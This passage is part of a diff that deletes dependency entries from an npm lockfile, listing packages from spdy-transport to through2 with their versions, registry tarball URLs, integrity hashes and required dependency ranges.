-    "spdy-transport": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz",
-      "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==",
-      "requires": {
-        "debug": "^4.1.0",
-        "detect-node": "^2.0.4",
-        "hpack.js": "^2.1.6",
-        "obuf": "^1.1.2",
-        "readable-stream": "^3.0.6",
-        "wbuf": "^1.7.3"
-      }
-    },
-    "split-string": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz",
-      "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==",
-      "requires": {
-        "extend-shallow": "^3.0.0"
-      }
-    },
-    "sprintf-js": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
-      "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw="
-    },
-    "sshpk": {
-      "version": "1.16.1",
-      "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz",
-      "integrity": "sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==",
-      "requires": {
-        "asn1": "~0.2.3",
-        "assert-plus": "^1.0.0",
-        "bcrypt-pbkdf": "^1.0.0",
-        "dashdash": "^1.12.0",
-        "ecc-jsbn": "~0.1.1",
-        "getpass": "^0.1.1",
-        "jsbn": "~0.1.0",
-        "safer-buffer": "^2.0.2",
-        "tweetnacl": "~0.14.0"
-      }
-    },
-    "ssri": {
-      "version": "7.1.0",
-      "resolved": "https://registry.npmjs.org/ssri/-/ssri-7.1.0.tgz",
-      "integrity": "sha512-77/WrDZUWocK0mvA5NTRQyveUf+wsrIc6vyrxpS8tVvYBcX215QbafrJR3KtkpskIzoFLqqNuuYQvxaMjXJ/0g==",
-      "requires": {
-        "figgy-pudding": "^3.5.1",
-        "minipass": "^3.1.1"
-      }
-    },
-    "stable": {
-      "version": "0.1.8",
-      "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz",
-      "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w=="
-    },
-    "stack-utils": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-1.0.2.tgz",
-      "integrity": "sha512-MTX+MeG5U994cazkjd/9KNAapsHnibjMLnfXodlkXw76JEea0UiNzrqidzo1emMwk7w5Qhc9jd4Bn9TBb1MFwA=="
-    },
-    "static-extend": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz",
-      "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=",
-      "requires": {
-        "define-property": "^0.2.5",
-        "object-copy": "^0.1.0"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "0.2.5",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
-          "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
-          "requires": {
-            "is-descriptor": "^0.1.0"
-          }
-        }
-      }
-    },
-    "statuses": {
-      "version": "1.5.0",
-      "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz",
-      "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow="
-    },
-    "stealthy-require": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/stealthy-require/-/stealthy-require-1.1.1.tgz",
-      "integrity": "sha1-NbCYdbT/SfJqd35QmzCQoyJr8ks="
-    },
-    "stream-browserify": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.2.tgz",
-      "integrity": "sha512-nX6hmklHs/gr2FuxYDltq8fJA1GDlxKQCz8O/IM4atRqBH8OORmBNgfvW5gG10GT/qQ9u0CzIvr2X5Pkt6ntqg==",
-      "requires": {
-        "inherits": "~2.0.1",
-        "readable-stream": "^2.0.2"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
-          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "stream-each": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npmjs.org/stream-each/-/stream-each-1.2.3.tgz",
-      "integrity": "sha512-vlMC2f8I2u/bZGqkdfLQW/13Zihpej/7PmSiMQsbYddxuTsJp8vRe2x2FvVExZg7FaOds43ROAuFJwPR4MTZLw==",
-      "requires": {
-        "end-of-stream": "^1.1.0",
-        "stream-shift": "^1.0.0"
-      }
-    },
-    "stream-http": {
-      "version": "2.8.3",
-      "resolved": "https://registry.npmjs.org/stream-http/-/stream-http-2.8.3.tgz",
-      "integrity": "sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw==",
-      "requires": {
-        "builtin-status-codes": "^3.0.0",
-        "inherits": "^2.0.1",
-        "readable-stream": "^2.3.6",
-        "to-arraybuffer": "^1.0.0",
-        "xtend": "^4.0.0"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
-          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "stream-shift": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz",
-      "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ=="
-    },
-    "strict-uri-encode": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz",
-      "integrity": "sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM="
-    },
-    "string-length": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/string-length/-/string-length-2.0.0.tgz",
-      "integrity": "sha1-1A27aGo6zpYMHP/KVivyxF+DY+0=",
-      "requires": {
-        "astral-regex": "^1.0.0",
-        "strip-ansi": "^4.0.0"
-      },
-      "dependencies": {
-        "ansi-regex": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
-          "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg="
-        },
-        "strip-ansi": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
-          "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
-          "requires": {
-            "ansi-regex": "^3.0.0"
-          }
-        }
-      }
-    },
-    "string-width": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.0.tgz",
-      "integrity": "sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==",
-      "requires": {
-        "emoji-regex": "^8.0.0",
-        "is-fullwidth-code-point": "^3.0.0",
-        "strip-ansi": "^6.0.0"
-      },
-      "dependencies": {
-        "ansi-regex": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz",
-          "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg=="
-        },
-        "strip-ansi": {
-          "version": "6.0.0",
-          "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz",
-          "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==",
-          "requires": {
-            "ansi-regex": "^5.0.0"
-          }
-        }
-      }
-    },
-    "string.prototype.matchall": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.2.tgz",
-      "integrity": "sha512-N/jp6O5fMf9os0JU3E72Qhf590RSRZU/ungsL/qJUYVTNv7hTG0P/dbPjxINVN9jpscu3nzYwKESU3P3RY5tOg==",
-      "requires": {
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.17.0",
-        "has-symbols": "^1.0.1",
-        "internal-slot": "^1.0.2",
-        "regexp.prototype.flags": "^1.3.0",
-        "side-channel": "^1.0.2"
-      }
-    },
-    "string.prototype.trimend": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.1.tgz",
-      "integrity": "sha512-LRPxFUaTtpqYsTeNKaFOw3R4bxIzWOnbQ837QfBylo8jIxtcbK/A/sMV7Q+OAV/vWo+7s25pOE10KYSjaSO06g==",
-      "requires": {
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.17.5"
-      }
-    },
-    "string.prototype.trimleft": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/string.prototype.trimleft/-/string.prototype.trimleft-2.1.2.tgz",
-      "integrity": "sha512-gCA0tza1JBvqr3bfAIFJGqfdRTyPae82+KTnm3coDXkZN9wnuW3HjGgN386D7hfv5CHQYCI022/rJPVlqXyHSw==",
-      "requires": {
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.17.5",
-        "string.prototype.trimstart": "^1.0.0"
-      }
-    },
-    "string.prototype.trimright": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/string.prototype.trimright/-/string.prototype.trimright-2.1.2.tgz",
-      "integrity": "sha512-ZNRQ7sY3KroTaYjRS6EbNiiHrOkjihL9aQE/8gfQ4DtAC/aEBRHFJa44OmoWxGGqXuJlfKkZW4WcXErGr+9ZFg==",
-      "requires": {
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.17.5",
-        "string.prototype.trimend": "^1.0.0"
-      }
-    },
-    "string.prototype.trimstart": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.1.tgz",
-      "integrity": "sha512-XxZn+QpvrBI1FOcg6dIpxUPgWCPuNXvMD72aaRaUQv1eD4e/Qy8i/hFTe0BUmD60p/QA6bh1avmuPTfNjqVWRw==",
-      "requires": {
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.17.5"
-      }
-    },
-    "string_decoder": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
-      "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
-      "requires": {
-        "safe-buffer": "~5.2.0"
-      },
-      "dependencies": {
-        "safe-buffer": {
-          "version": "5.2.0",
-          "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz",
-          "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg=="
-        }
-      }
-    },
-    "stringify-object": {
-      "version": "3.3.0",
-      "resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz",
-      "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==",
-      "requires": {
-        "get-own-enumerable-property-symbols": "^3.0.0",
-        "is-obj": "^1.0.1",
-        "is-regexp": "^1.0.0"
-      },
-      "dependencies": {
-        "is-obj": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz",
-          "integrity": "sha1-PkcprB9f3gJc19g6iW2rn09n2w8="
-        }
-      }
-    },
-    "strip-ansi": {
-      "version": "5.2.0",
-      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
-      "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
-      "requires": {
-        "ansi-regex": "^4.1.0"
-      }
-    },
-    "strip-bom": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz",
-      "integrity": "sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM="
-    },
-    "strip-comments": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/strip-comments/-/strip-comments-1.0.2.tgz",
-      "integrity": "sha512-kL97alc47hoyIQSV165tTt9rG5dn4w1dNnBhOQ3bOU1Nc1hel09jnXANaHJ7vzHLd4Ju8kseDGzlev96pghLFw==",
-      "requires": {
-        "babel-extract-comments": "^1.0.0",
-        "babel-plugin-transform-object-rest-spread": "^6.26.0"
-      }
-    },
-    "strip-eof": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz",
-      "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8="
-    },
-    "strip-indent": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
-      "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
-      "requires": {
-        "min-indent": "^1.0.0"
-      }
-    },
-    "strip-json-comments": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.0.tgz",
-      "integrity": "sha512-e6/d0eBu7gHtdCqFt0xJr642LdToM5/cN4Qb9DbHjVx1CP5RyeM+zH7pbecEmDv/lBqb0QH+6Uqq75rxFPkM0w=="
-    },
-    "style-loader": {
-      "version": "0.23.1",
-      "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-0.23.1.tgz",
-      "integrity": "sha512-XK+uv9kWwhZMZ1y7mysB+zoihsEj4wneFWAS5qoiLwzW0WzSqMrrsIy+a3zkQJq0ipFtBpX5W3MqyRIBF/WFGg==",
-      "requires": {
-        "loader-utils": "^1.1.0",
-        "schema-utils": "^1.0.0"
-      },
-      "dependencies": {
-        "schema-utils": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
-          "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
-          "requires": {
-            "ajv": "^6.1.0",
-            "ajv-errors": "^1.0.0",
-            "ajv-keywords": "^3.1.0"
-          }
-        }
-      }
-    },
-    "stylehacks": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-4.0.3.tgz",
-      "integrity": "sha512-7GlLk9JwlElY4Y6a/rmbH2MhVlTyVmiJd1PfTCqFaIBEGMYNsrO/v3SeGTdhBThLg4Z+NbOk/qFMwCa+J+3p/g==",
-      "requires": {
-        "browserslist": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-selector-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-selector-parser": {
-          "version": "3.1.2",
-          "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.2.tgz",
-          "integrity": "sha512-h7fJ/5uWuRVyOtkO45pnt1Ih40CEleeyCHzipqAZO2e5H20g25Y48uYnFUiShvY4rZWNJ/Bib/KVPmanaCtOhA==",
-          "requires": {
-            "dot-prop": "^5.2.0",
-            "indexes-of": "^1.0.1",
-            "uniq": "^1.0.1"
-          }
-        }
-      }
-    },
-    "supports-color": {
-      "version": "5.5.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
-      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
-      "requires": {
-        "has-flag": "^3.0.0"
-      }
-    },
-    "svg-parser": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/svg-parser/-/svg-parser-2.0.4.tgz",
-      "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ=="
-    },
-    "svgo": {
-      "version": "1.3.2",
-      "resolved": "https://registry.npmjs.org/svgo/-/svgo-1.3.2.tgz",
-      "integrity": "sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==",
-      "requires": {
-        "chalk": "^2.4.1",
-        "coa": "^2.0.2",
-        "css-select": "^2.0.0",
-        "css-select-base-adapter": "^0.1.1",
-        "css-tree": "1.0.0-alpha.37",
-        "csso": "^4.0.2",
-        "js-yaml": "^3.13.1",
-        "mkdirp": "~0.5.1",
-        "object.values": "^1.1.0",
-        "sax": "~1.2.4",
-        "stable": "^0.1.8",
-        "unquote": "~1.1.1",
-        "util.promisify": "~1.0.0"
-      }
-    },
-    "symbol-tree": {
-      "version": "3.2.4",
-      "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
-      "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw=="
-    },
-    "table": {
-      "version": "5.4.6",
-      "resolved": "https://registry.npmjs.org/table/-/table-5.4.6.tgz",
-      "integrity": "sha512-wmEc8m4fjnob4gt5riFRtTu/6+4rSe12TpAELNSqHMfF3IqnA+CH37USM6/YR3qRZv7e56kAEAtd6nKZaxe0Ug==",
-      "requires": {
-        "ajv": "^6.10.2",
-        "lodash": "^4.17.14",
-        "slice-ansi": "^2.1.0",
-        "string-width": "^3.0.0"
-      },
-      "dependencies": {
-        "emoji-regex": {
-          "version": "7.0.3",
-          "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
-          "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA=="
-        },
-        "is-fullwidth-code-point": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
-          "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8="
-        },
-        "string-width": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
-          "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
-          "requires": {
-            "emoji-regex": "^7.0.1",
-            "is-fullwidth-code-point": "^2.0.0",
-            "strip-ansi": "^5.1.0"
-          }
-        }
-      }
-    },
-    "tapable": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz",
-      "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA=="
-    },
-    "terser": {
-      "version": "4.6.11",
-      "resolved": "https://registry.npmjs.org/terser/-/terser-4.6.11.tgz",
-      "integrity": "sha512-76Ynm7OXUG5xhOpblhytE7X58oeNSmC8xnNhjWVo8CksHit0U0kO4hfNbPrrYwowLWFgM2n9L176VNx2QaHmtA==",
-      "requires": {
-        "commander": "^2.20.0",
-        "source-map": "~0.6.1",
-        "source-map-support": "~0.5.12"
-      }
-    },
-    "terser-webpack-plugin": {
-      "version": "2.3.5",
-      "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-2.3.5.tgz",
-      "integrity": "sha512-WlWksUoq+E4+JlJ+h+U+QUzXpcsMSSNXkDy9lBVkSqDn1w23Gg29L/ary9GeJVYCGiNJJX7LnVc4bwL1N3/g1w==",
-      "requires": {
-        "cacache": "^13.0.1",
-        "find-cache-dir": "^3.2.0",
-        "jest-worker": "^25.1.0",
-        "p-limit": "^2.2.2",
-        "schema-utils": "^2.6.4",
-        "serialize-javascript": "^2.1.2",
-        "source-map": "^0.6.1",
-        "terser": "^4.4.3",
-        "webpack-sources": "^1.4.3"
-      },
-      "dependencies": {
-        "find-cache-dir": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.1.tgz",
-          "integrity": "sha512-t2GDMt3oGC/v+BMwzmllWDuJF/xcDtE5j/fCGbqDD7OLuJkj0cfh1YSA5VKPvwMeLFLNDBkwOKZ2X85jGLVftQ==",
-          "requires": {
-            "commondir": "^1.0.1",
-            "make-dir": "^3.0.2",
-            "pkg-dir": "^4.1.0"
-          }
-        },
-        "find-up": {
-          "version": "4.1.0",
-          "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
-          "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
-          "requires": {
-            "locate-path": "^5.0.0",
-            "path-exists": "^4.0.0"
-          }
-        },
-        "has-flag": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
-        },
-        "jest-worker": {
-          "version": "25.2.6",
-          "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-25.2.6.tgz",
-          "integrity": "sha512-FJn9XDUSxcOR4cwDzRfL1z56rUofNTFs539FGASpd50RHdb6EVkhxQqktodW2mI49l+W3H+tFJDotCHUQF6dmA==",
-          "requires": {
-            "merge-stream": "^2.0.0",
-            "supports-color": "^7.0.0"
-          }
-        },
-        "locate-path": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
-          "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
-          "requires": {
-            "p-locate": "^4.1.0"
-          }
-        },
-        "make-dir": {
-          "version": "3.0.2",
-          "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.0.2.tgz",
-          "integrity": "sha512-rYKABKutXa6vXTXhoV18cBE7PaewPXHe/Bdq4v+ZLMhxbWApkFFplT0LcbMW+6BbjnQXzZ/sAvSE/JdguApG5w==",
-          "requires": {
-            "semver": "^6.0.0"
-          }
-        },
-        "p-limit": {
-          "version": "2.3.0",
-          "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
-          "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
-          "requires": {
-            "p-try": "^2.0.0"
-          }
-        },
-        "p-locate": {
-          "version": "4.1.0",
-          "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
-          "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
-          "requires": {
-            "p-limit": "^2.2.0"
-          }
-        },
-        "p-try": {
-          "version": "2.2.0",
-          "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
-          "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ=="
-        },
-        "path-exists": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
-          "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="
-        },
-        "pkg-dir": {
-          "version": "4.2.0",
-          "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz",
-          "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==",
-          "requires": {
-            "find-up": "^4.0.0"
-          }
-        },
-        "supports-color": {
-          "version": "7.1.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
-          "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
-          "requires": {
-            "has-flag": "^4.0.0"
-          }
-        }
-      }
-    },
-    "test-exclude": {
-      "version": "5.2.3",
-      "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-5.2.3.tgz",
-      "integrity": "sha512-M+oxtseCFO3EDtAaGH7iiej3CBkzXqFMbzqYAACdzKui4eZA+pq3tZEwChvOdNfa7xxy8BfbmgJSIr43cC/+2g==",
-      "requires": {
-        "glob": "^7.1.3",
-        "minimatch": "^3.0.4",
-        "read-pkg-up": "^4.0.0",
-        "require-main-filename": "^2.0.0"
-      }
-    },
-    "text-table": {
-      "version": "0.2.0",
-      "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
-      "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ="
-    },
-    "throat": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/throat/-/throat-4.1.0.tgz",
-      "integrity": "sha1-iQN8vJLFarGJJua6TLsgDhVnKmo="
-    },
-    "through": {
-      "version": "2.3.8",
-      "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz",
-      "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU="
-    },
-    "through2": {
-      "version": "2.0.5",
-      "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
-      "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
-      "requires": {
-        "readable-stream": "~2.3.6",
-        "xtend": "~4.0.1"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
-          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
